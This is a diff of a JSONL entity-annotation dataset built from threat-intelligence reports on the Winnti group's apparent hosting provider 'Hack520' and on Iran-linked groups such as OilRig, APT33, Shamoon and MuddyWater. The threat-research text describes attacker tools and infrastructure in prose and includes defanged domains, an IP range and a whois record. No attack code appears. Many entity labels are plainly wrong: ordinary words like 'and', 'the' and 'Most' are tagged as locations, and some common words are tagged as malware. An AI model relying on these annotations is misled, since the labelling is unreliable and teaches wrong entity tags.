-{"id":6553,"text":"During the course of researching the Winnti group, we came across previously unreported malware samples that we attributed to the group based on the malware arsenal and the use of registered domains as attack infrastructure.","entities":[{"id":20314,"label":"location","start_offset":157,"end_offset":164},{"id":20315,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":6554,"text":"These samples led us to the discovery of additional C&C servers that provided us with more information than we initially expected.","entities":[],"relations":[],"Comments":[]}
 {"id":6555,"text":"A closer look at Hack520","entities":[],"relations":[],"Comments":[]}
 {"id":6556,"text":"Our initial investigation on the domains registered by Hack520 revealed that similar domains (listed below) were registered by another profile.","entities":[],"relations":[],"Comments":[]}
 {"id":6557,"text":" hack520[.]co[.]kr shaiya[.]kr zhu[.]kr shenqi[.]kr zhuxian[.]kr  Several of these domains are linked to variants of malware that were used by the Winnti threat actor.","entities":[{"id":20316,"label":"location","start_offset":91,"end_offset":94},{"id":20317,"label":"malware","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":6558,"text":"Surprisingly enough, it does not take very long to get some information about Hack520: someone with this handle runs a blog and a Twitter account (with a handle close to Hack520) that is also directly linked to the blog.","entities":[{"id":20318,"label":"location","start_offset":43,"end_offset":47},{"id":20319,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":6559,"text":"Figure 1: Twitter account of Hack520","entities":[],"relations":[],"Comments":[]}
-{"id":6560,"text":"One interesting detail about Hack520 is his apparent love for pigs, as seen in his use of the word in his email addresses.","entities":[{"id":20322,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":6561,"text":"He also mentions his occupation as a “pig farmer” in online message boards.","entities":[{"id":20323,"label":"location","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":6562,"text":"In addition, Hack520’s tweets always show photos of the same animal, which is likely his pet pig.","entities":[{"id":20325,"label":"location","start_offset":56,"end_offset":60},{"id":20326,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":6563,"text":"The Twitter handle used by Hack520 indicates also an “est” portion.","entities":[{"id":20328,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":6564,"text":"This “est” reference could refer to a hacking group with its own message board on which hack520 also posts regularly.","entities":[{"id":20329,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":6565,"text":"In one particular forum post, Hack520 mentions that he was previously jailed for a period of 10 months in a blog post dated May 31, 2009.","entities":[{"id":20332,"label":"location","start_offset":24,"end_offset":28},{"id":20335,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":6566,"text":"Figure 2: Post from Hack520’s blog","entities":[{"id":20338,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":6567,"text":"A rough translation of this message is as follows: “Fxxk, when I am released, the server is offline, I can’t find the machine, the domain is expired, it is so bad.","entities":[],"relations":[],"Comments":[]}
-{"id":6568,"text":"I wasted 10 months, I have failed and lost my money.”","entities":[{"id":20341,"label":"location","start_offset":34,"end_offset":37},{"id":20342,"label":"location","start_offset":46,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":6569,"text":"Hack520 seems to be very interested in hosting services and his profile fits that of a system administrator profile with some programming and hacking skills.","entities":[{"id":20344,"label":"location","start_offset":56,"end_offset":59},{"id":20345,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":6570,"text":"After further research, we were able to link Hack520 to different network administration activities, notably with a Virtual Private Server (VPS) hosting service.","entities":[],"relations":[],"Comments":[]}
-{"id":6571,"text":"The way Hack520 signs his messages in one hacker forum provides a clue pointing to this connection.","entities":[{"id":20347,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":6572,"text":"While one of his signatures uses his own blog domain, there is also a second signature which uses 93[.]gd, a domain that was found to have been actively selling VPS services in the past.","entities":[],"relations":[],"Comments":[]}
 {"id":6573,"text":"The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname “PIG GOD”—another reference to Hack520’s passion for pigs.","entities":[],"relations":[],"Comments":[]}
-{"id":6574,"text":"Among the IP addresses owned by Hack520 is a whole\/22 IP Range which we dubbed as the “PIG RANGE”.","entities":[{"id":20352,"label":"location","start_offset":57,"end_offset":62},{"id":20353,"label":"location","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":6575,"text":"The IP range for “PIG GOD” is 43[.]255[.]188.0\/22, which appears to be hosted in Hong Kong as seen in the information we found:  inetnum: 43[.]255[.]188[.]0 - 43[.]255[.]191[.]255 netname: PIG-HK description: PIG GOD country: HK admin-c: PG406-AP tech-c: PG406-AP person: pig god country: HK phone: +852-39437000 e-mail: admin@66[.]to nic-hdl: PG406-AP mnt-by: MAINT-RAIBOW-HK changed: admin@66[.]to 20160917 source: APNIC  The domain 66[.]to leads to another website that shows Hack520’s pet pig.","entities":[{"id":20354,"label":"location","start_offset":7,"end_offset":12},{"id":20355,"label":"location","start_offset":22,"end_offset":25},{"id":20356,"label":"identity","start_offset":81,"end_offset":90},{"id":20357,"label":"IPV4","start_offset":138,"end_offset":156},{"id":20358,"label":"IPV4","start_offset":159,"end_offset":179},{"id":20359,"label":"location","start_offset":213,"end_offset":216},{"id":20360,"label":"location","start_offset":264,"end_offset":270},{"id":20361,"label":"location","start_offset":276,"end_offset":279},{"id":20364,"label":"attack-pattern","start_offset":409,"end_offset":415}],"relations":[],"Comments":[]}
-{"id":6576,"text":"It also reveals direct links to secure[.]66[.]to and zhu[.]vn, both of which also belong to Hack520 and contains his personal blog.","entities":[{"id":20366,"label":"location","start_offset":49,"end_offset":52},{"id":20368,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":6577,"text":"Figure 3: Hack520’s pet pig","entities":[],"relations":[],"Comments":[]}
-{"id":6578,"text":"We were able to find additional links between Hack520’s “Pig network” and the Winnti group’s activities.","entities":[{"id":20371,"label":"location","start_offset":38,"end_offset":45},{"id":20373,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":6579,"text":"This includes hosting C&C domains that were used by Winnti such as mtrue.com, shenqi[.]kr and zhu[.]kr.","entities":[{"id":20377,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":6580,"text":"We also found a live service selling VPS hosting at secure[.]66[.]to.","entities":[],"relations":[],"Comments":[]}
-{"id":6581,"text":"The hosting services offered at secure[.]66[.]to are in fact hosting services rented to other companies worldwide.","entities":[{"id":20378,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":6582,"text":"The contents found in secure[.]66[.]to often lead to zhu[.]vn, which is Hack520’s domain for hosting his own private blog.","entities":[{"id":20379,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":6583,"text":" Figure 4: Screenshot of secure[.]66[.]to","entities":[],"relations":[],"Comments":[]}
-{"id":6584,"text":"We found roughly 500 domain names that lead or have led to the “Pig network” between 2015 to March 2017.","entities":[{"id":20383,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":6585,"text":"Most of these domains seem to have contained illegitimate content like pornography and online gambling.","entities":[{"id":20385,"label":"location","start_offset":0,"end_offset":4},{"id":20386,"label":"location","start_offset":58,"end_offset":65},{"id":20387,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":6586,"text":"We highly suspect the “Pig network” to have also been used as a bulletproof hosting service for cybercriminals who are unrelated to the Winnti group.","entities":[{"id":20388,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":6587,"text":"From what we’ve seen in Hack520’s blog, as well as the infrastructure deployed around it, it is quite safe to say that Hack520 is involved in aspects of the VPS service activity provided to groups like Winnti and other cybercriminals or threat actors.","entities":[{"id":20391,"label":"location","start_offset":102,"end_offset":106},{"id":20394,"label":"location","start_offset":209,"end_offset":212}],"relations":[],"Comments":[]}
-{"id":6588,"text":"What we’ve learned Threat actors like the Winnti group rarely ever stay static in terms of both tools and tactics.","entities":[{"id":20395,"label":"location","start_offset":11,"end_offset":18},{"id":20397,"label":"location","start_offset":62,"end_offset":66},{"id":20398,"label":"location","start_offset":72,"end_offset":78},{"id":20399,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":6589,"text":"As we’ve already previously discussed in our 2017 predictions, these groups will constantly evolve and employ unique and advanced attack techniques.","entities":[{"id":20401,"label":"location","start_offset":76,"end_offset":80},{"id":20402,"label":"location","start_offset":99,"end_offset":102},{"id":20403,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":6590,"text":"In addition, individuals like Hack520 prove that these threat actors are composed of varied individuals who have their own set of expertise.","entities":[{"id":20405,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":6591,"text":"All of these things point to threat actors and groups like Winnti will continue to try different methods of attack.","entities":[{"id":20406,"label":"location","start_offset":20,"end_offset":25},{"id":20407,"label":"location","start_offset":43,"end_offset":46},{"id":20409,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":6592,"text":"Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources and manpower to accomplish their goals.","entities":[{"id":20410,"label":"location","start_offset":14,"end_offset":17},{"id":20411,"label":"malware","start_offset":36,"end_offset":42},{"id":20412,"label":"location","start_offset":73,"end_offset":81},{"id":20413,"label":"location","start_offset":92,"end_offset":95},{"id":20414,"label":"location","start_offset":191,"end_offset":194},{"id":20415,"label":"location","start_offset":212,"end_offset":216},{"id":20416,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
-{"id":6593,"text":"As such, there is a need for everyone to be proactive when it comes to security, especially for organizations who are frequently the victims of targeted attacks.","entities":[{"id":20417,"label":"location","start_offset":71,"end_offset":79},{"id":20418,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":6594,"text":"By creating awareness and using the right solutions, both individuals and organizations can take the steps needed to defend against the malicious tactics used by threat actors like the Winnti group.         Tags  APT & Targeted Attacks | Research","entities":[{"id":20419,"label":"location","start_offset":22,"end_offset":25},{"id":20420,"label":"location","start_offset":70,"end_offset":73},{"id":20421,"label":"location","start_offset":88,"end_offset":91},{"id":20423,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":6595,"text":"This post is also available in:      日本語 (Japanese)  With elevated tensions in the Middle East region, there is significant attention being paid to the potential for cyber attacks emanating from Iran.","entities":[{"id":20424,"label":"location","start_offset":5,"end_offset":9},{"id":20427,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":6596,"text":"The following threat brief contains a summary of historical campaigns that are associated with Iranian activity and does not expose any new threat or attack that has occurred since the events of January 3rd, 2020.  Since 2010, it is thought that Iran has been highly active in cyber operations campaigns throughout the world.","entities":[{"id":20429,"label":"location","start_offset":75,"end_offset":78},{"id":20431,"label":"location","start_offset":112,"end_offset":115},{"id":20435,"label":"location","start_offset":319,"end_offset":324}],"relations":[],"Comments":[]}
-{"id":6597,"text":"A number of groups and campaigns have been named and published on by the private sector, but direct attribution to the nation-state of Iran is still largely lacking in many of these instances.","entities":[{"id":20436,"label":"location","start_offset":19,"end_offset":22},{"id":20437,"label":"location","start_offset":49,"end_offset":52},{"id":20439,"label":"location","start_offset":168,"end_offset":172}],"relations":[],"Comments":[]}
-{"id":6598,"text":"Most attribution published by the private sector has relied on tactical evidence surrounding targeting and possible motivations.","entities":[{"id":20440,"label":"location","start_offset":0,"end_offset":4},{"id":20441,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":6599,"text":"It is important to keep this in mind, while at the same time understanding that without additional evidence, the current attribution set is accepted industry-wide as fact.","entities":[{"id":20442,"label":"location","start_offset":51,"end_offset":55},{"id":20443,"label":"location","start_offset":56,"end_offset":60},{"id":20444,"label":"location","start_offset":149,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":6600,"text":"Unit 42 has not gathered evidence to specifically attribute any of the accepted groups as originating from Iran, but also has not observed any evidence to counter any publicly made claims.","entities":[{"id":20447,"label":"location","start_offset":176,"end_offset":180}],"relations":[],"Comments":[]}
 {"id":6601,"text":"Overview of Iran-Linked Campaigns:","entities":[],"relations":[],"Comments":[]}
-{"id":6602,"text":"Some of the currently active groups or campaigns publicly attributed by the industry as originating from Iran are:  There appear to be two distinct motivators for these groups, espionage and destruction.","entities":[{"id":20449,"label":"location","start_offset":76,"end_offset":84},{"id":20451,"label":"location","start_offset":110,"end_offset":113},{"id":20453,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":6603,"text":"The majority of observed attack campaigns have been espionage related, with the associated groups appearing to seek continued access into a target organization or access to sensitive data.","entities":[{"id":20454,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":6604,"text":"A smaller number of highly focused destructive attacks have been observed over time, beginning with the original Shamoon attack in 2012, with additional iterations years after, and more recently with StoneDrill and ZeroCleare.","entities":[{"id":20455,"label":"location","start_offset":79,"end_offset":83},{"id":20459,"label":"location","start_offset":177,"end_offset":180},{"id":20461,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]}
-{"id":6605,"text":" Overall, cyber attacks thought to be originating from Iran have been persistent and ongoing for the last decade.","entities":[{"id":20463,"label":"location","start_offset":1,"end_offset":8},{"id":20465,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":6606,"text":"The target radius for these groups have spanned across the globe, across all major industries.","entities":[{"id":20467,"label":"location","start_offset":4,"end_offset":10},{"id":20468,"label":"malware","start_offset":59,"end_offset":64},{"id":20469,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":6607,"text":"Although perceived retaliatory actions may occur in the near future, even those actions are most likely in conjunction with ongoing attack campaigns and operations.","entities":[{"id":20470,"label":"location","start_offset":39,"end_offset":42},{"id":20471,"label":"location","start_offset":88,"end_offset":91},{"id":20472,"label":"location","start_offset":92,"end_offset":96},{"id":20473,"label":"location","start_offset":97,"end_offset":103},{"id":20474,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":6608,"text":"Iranian TTPs:","entities":[],"relations":[],"Comments":[]}
-{"id":6609,"text":"Behaviorally, several tactics and techniques have been observed across multiple groups and campaigns over time.","entities":[{"id":20476,"label":"location","start_offset":30,"end_offset":33},{"id":20477,"label":"location","start_offset":87,"end_offset":90},{"id":20478,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":6610,"text":"The following is a list of commonly observed tactics and techniques along with their associated ATT&CK IDs:","entities":[{"id":20479,"label":"location","start_offset":19,"end_offset":23},{"id":20480,"label":"location","start_offset":53,"end_offset":56},{"id":20481,"label":"location","start_offset":68,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6611,"text":"General Mitigations:","entities":[],"relations":[],"Comments":[]}
-{"id":6612,"text":"With this knowledge of common behaviors, some mitigations recommendations are:  Palo Alto Networks’ Customer Mitigations: Palo Alto Networks customers should adopt best practices and evaluate their security posture to protect against the threats outlined in this document as well as other threats that may impact their network and users.","entities":[{"id":20482,"label":"location","start_offset":74,"end_offset":77},{"id":20485,"label":"location","start_offset":164,"end_offset":168},{"id":20486,"label":"location","start_offset":179,"end_offset":182},{"id":20487,"label":"location","start_offset":198,"end_offset":206},{"id":20488,"label":"location","start_offset":302,"end_offset":305},{"id":20489,"label":"location","start_offset":306,"end_offset":312},{"id":20490,"label":"location","start_offset":327,"end_offset":330}],"relations":[],"Comments":[]}
 {"id":6613,"text":" https:\/\/attack.mitre.org\/groups\/G0049\/  OilRig is a threat group Unit 42 named and discovered in May 2016.","entities":[{"id":20492,"label":"malware","start_offset":41,"end_offset":47},{"id":20494,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":6614,"text":"Since then, we have extensively researched their campaigns and operations.","entities":[{"id":20496,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":6615,"text":"This threat group is extremely persistent and relies heavily on spear-phishing as their initial attack vector, but has also been associated with other more sophisticated attacks such credential harvesting campaigns and DNS hijacking.","entities":[{"id":20497,"label":"location","start_offset":42,"end_offset":45},{"id":20498,"label":"location","start_offset":64,"end_offset":69},{"id":20499,"label":"attack-pattern","start_offset":70,"end_offset":78},{"id":20500,"label":"tools","start_offset":103,"end_offset":109},{"id":20501,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]}
 {"id":6616,"text":"In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts.","entities":[{"id":20502,"label":"location","start_offset":9,"end_offset":14},{"id":20503,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20506,"label":"tools","start_offset":74,"end_offset":80},{"id":20508,"label":"location","start_offset":87,"end_offset":90},{"id":20510,"label":"attack-pattern","start_offset":193,"end_offset":203},{"id":20511,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":6617,"text":"OilRig’s custom payloads frequently used DNS tunneling as a command and control (C2) channel.","entities":[{"id":20513,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":6618,"text":" Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network.","entities":[{"id":20514,"label":"location","start_offset":31,"end_offset":36},{"id":20515,"label":"attack-pattern","start_offset":55,"end_offset":73},{"id":20516,"label":"malware","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":6619,"text":"When presented with a webserver, OilRig would install a webshell as another ingress point to maintain access to the network.","entities":[{"id":20518,"label":"location","start_offset":84,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":6620,"text":" https:\/\/unit42.paloaltonetworks.com\/behind-the-scenes-with-oilrig\/","entities":[],"relations":[],"Comments":[]}
 {"id":6621,"text":" https:\/\/unit42.paloaltonetworks.com\/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling\/  https:\/\/unit42.paloaltonetworks.com\/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-performs-tests-twoface-webshell\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan\/  https:\/\/unit42.paloaltonetworks.com\/unit42-striking-oil-closer-look-adversary-infrastructure\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-actors-provide-glimpse-development-testing-efforts\/  https:\/\/unit42.paloaltonetworks.com\/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor\/  https:\/\/attack.mitre.org\/groups\/G0059\/  The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.  The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group.","entities":[{"id":20520,"label":"URL","start_offset":1,"end_offset":97},{"id":20521,"label":"URL","start_offset":99,"end_offset":201},{"id":20523,"label":"URL","start_offset":313,"end_offset":428},{"id":20526,"label":"URL","start_offset":642,"end_offset":737},{"id":20533,"label":"URL","start_offset":1346,"end_offset":1467},{"id":20534,"label":"URL","start_offset":1469,"end_offset":1507},{"id":20535,"label":"threat-actor","start_offset":1513,"end_offset":1524},{"id":20536,"label":"location","start_offset":1525,"end_offset":1533},{"id":20537,"label":"location","start_offset":1543,"end_offset":1549},{"id":20538,"label":"location","start_offset":1563,"end_offset":1566},{"id":20539,"label":"location","start_offset":1597,"end_offset":1602},{"id":20540,"label":"attack-pattern","start_offset":1603,"end_offset":1611},{"id":20541,"label":"identity","start_offset":1681,"end_offset":1690},{"id":20542,"label":"tools","start_offset":1691,"end_offset":1697},{"id":20543,"label":"location","start_offset":1708,"end_offset":1711},{"id":20544,"label":"location","start_offset":1755,"end_offset":1758},{"id":20545,"label":"malware","start_offset":1872,"end_offset":1883},{"id":20546,"label":"malware","start_offset":1911,"end_offset":1922},{"id":20547,"label":"location","start_offset":1952,"end_offset":1955},{"id":20549,"label":"threat-actor","start_offset":2026,"end_offset":2037},{"id":20550,"label":"location","start_offset":2038,"end_offset":2046},{"id":20552,"label":"location","start_offset":2151,"end_offset":2155},{"id":20553,"label":"threat-actor","start_offset":2176,"end_offset":2186}],"relations":[],"Comments":[]}
 {"id":6622,"text":"Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.","entities":[{"id":20555,"label":"location","start_offset":65,"end_offset":69},{"id":20557,"label":"threat-actor","start_offset":118,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":6623,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-magic-hound-campaign-attacks-saudi-targets\/","entities":[],"relations":[],"Comments":[]}
 {"id":6624,"text":" https:\/\/attack.mitre.org\/groups\/G0064\/","entities":[],"relations":[],"Comments":[]}
-{"id":6625,"text":" APT33 is a threat group thought to have strong interest in the aeronautics and energy sectors.","entities":[{"id":20561,"label":"location","start_offset":41,"end_offset":47},{"id":20562,"label":"location","start_offset":76,"end_offset":79},{"id":20563,"label":"location","start_offset":80,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":6626,"text":"They use spear-phishing attacks with a domain masquerading technique to make the links in their emails appear legitimate.","entities":[{"id":20564,"label":"location","start_offset":9,"end_offset":14},{"id":20565,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20566,"label":"attack-pattern","start_offset":46,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":6627,"text":"They are known to use custom tools in conjunction with well-known publicly available backdoors that are sold in various hacking forums.","entities":[{"id":20567,"label":"location","start_offset":5,"end_offset":8},{"id":20568,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":6628,"text":"A recent report uncovered this threat group’s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins.","entities":[{"id":20569,"label":"threat-actor","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":6629,"text":"This activity exemplified how this adversary group and other related groups will attack organizations outside of their mission objective to augment their own capabilities to complete their task.","entities":[{"id":20570,"label":"location","start_offset":51,"end_offset":54},{"id":20571,"label":"location","start_offset":76,"end_offset":80},{"id":20572,"label":"location","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":6630,"text":" https:\/\/www.fireeye.com\/blog\/threat-research\/2017\/09\/apt33-insights-into-iranian-cyber-espionage.html  https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting\/","entities":[{"id":20573,"label":"URL","start_offset":1,"end_offset":102},{"id":20574,"label":"URL","start_offset":104,"end_offset":241}],"relations":[],"Comments":[]}
 {"id":6631,"text":" https:\/\/attack.mitre.org\/groups\/G0079\/","entities":[{"id":20575,"label":"URL","start_offset":1,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":6632,"text":" The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns.","entities":[{"id":20576,"label":"threat-actor","start_offset":5,"end_offset":15},{"id":20577,"label":"location","start_offset":62,"end_offset":65},{"id":20578,"label":"location","start_offset":96,"end_offset":101},{"id":20579,"label":"attack-pattern","start_offset":102,"end_offset":110},{"id":20580,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
@@ -6634,321 +5972,130 @@
 {"id":6634,"text":"DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery.","entities":[],"relations":[],"Comments":[]}
 {"id":6635,"text":"They have also been observed using Google Drive for their C2 channel.","entities":[],"relations":[],"Comments":[]}
 {"id":6636,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government\/  https:\/\/unit42.paloaltonetworks.com\/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east\/  https:\/\/unit42.paloaltonetworks.com\/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications\/","entities":[],"relations":[],"Comments":[]}
-{"id":6637,"text":"The original Shamoon attack was launched in 2012 and targeted two specific organizations in the energy sector with the goal of rendering their respective computer systems inoperable by wiping their disks.","entities":[{"id":20592,"label":"location","start_offset":49,"end_offset":52},{"id":20594,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":6638,"text":"The attack package included a commercially available driver to execute the wiping tasks and also included a worming component which allowed the package to spread within a target organization in an automated manner.","entities":[{"id":20595,"label":"location","start_offset":53,"end_offset":59},{"id":20596,"label":"location","start_offset":88,"end_offset":91},{"id":20597,"label":"location","start_offset":171,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":6639,"text":"The 2012 incident was one of the first large scale targeted destructive attacks that had been publicly shared.","entities":[{"id":20599,"label":"location","start_offset":22,"end_offset":25},{"id":20600,"label":"location","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":6640,"text":"Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018.","entities":[],"relations":[],"Comments":[]}
-{"id":6641,"text":"In each instance, the primary capabilities and functionality remained largely the same.","entities":[{"id":20606,"label":"location","start_offset":43,"end_offset":46},{"id":20607,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":6642,"text":" https:\/\/securelist.com\/shamoon-the-wiper-copycats-at-work\/57854\/","entities":[{"id":20608,"label":"URL","start_offset":1,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":6643,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-shamoon-2-return-disttrack-wiper\/","entities":[],"relations":[],"Comments":[]}
 {"id":6644,"text":" https:\/\/unit42.paloaltonetworks.com\/unit42-second-wave-shamoon-2-attacks-identified\/  https:\/\/unit42.paloaltonetworks.com\/unit42-shamoon-2-delivering-disttrack\/  https:\/\/unit42.paloaltonetworks.com\/shamoon-3-targets-oil-gas-organization\/  https:\/\/unit42.paloaltonetworks.com\/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran\/  ","entities":[{"id":20610,"label":"URL","start_offset":1,"end_offset":85},{"id":20612,"label":"URL","start_offset":163,"end_offset":238}],"relations":[],"Comments":[]}
 {"id":6645,"text":"MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity.","entities":[{"id":20614,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":20616,"label":"location","start_offset":43,"end_offset":46},{"id":20618,"label":"attack-pattern","start_offset":179,"end_offset":185},{"id":20619,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":6646,"text":"Additional investigation revealed no other similarities in either tools or tactics, thus concluding that the MuddyWater activity was likely operated by a separate actor.","entities":[{"id":20621,"label":"location","start_offset":133,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":6647,"text":"This group generally used spear-phishing with macro-enabled Office documents to deliver their payloads, which were either embedded directly in the macro, or hosted on a first stage C2 server.","entities":[{"id":20622,"label":"location","start_offset":26,"end_offset":31},{"id":20623,"label":"attack-pattern","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":6648,"text":"These C2 servers were observed to be either third party file hosting sites or code sharing repositories such as GitHub.","entities":[{"id":20628,"label":"location","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":6649,"text":"A significant portion of MuddyWater’s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc.  https:\/\/unit42.paloaltonetworks.com\/unit42-muddying-the-water-targeted-attacks-in-the-middle-east\/  https:\/\/securelist.com\/muddywater\/88059\/  https:\/\/www.clearskysec.com\/muddywater2\/  https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools\/  ","entities":[],"relations":[],"Comments":[]}
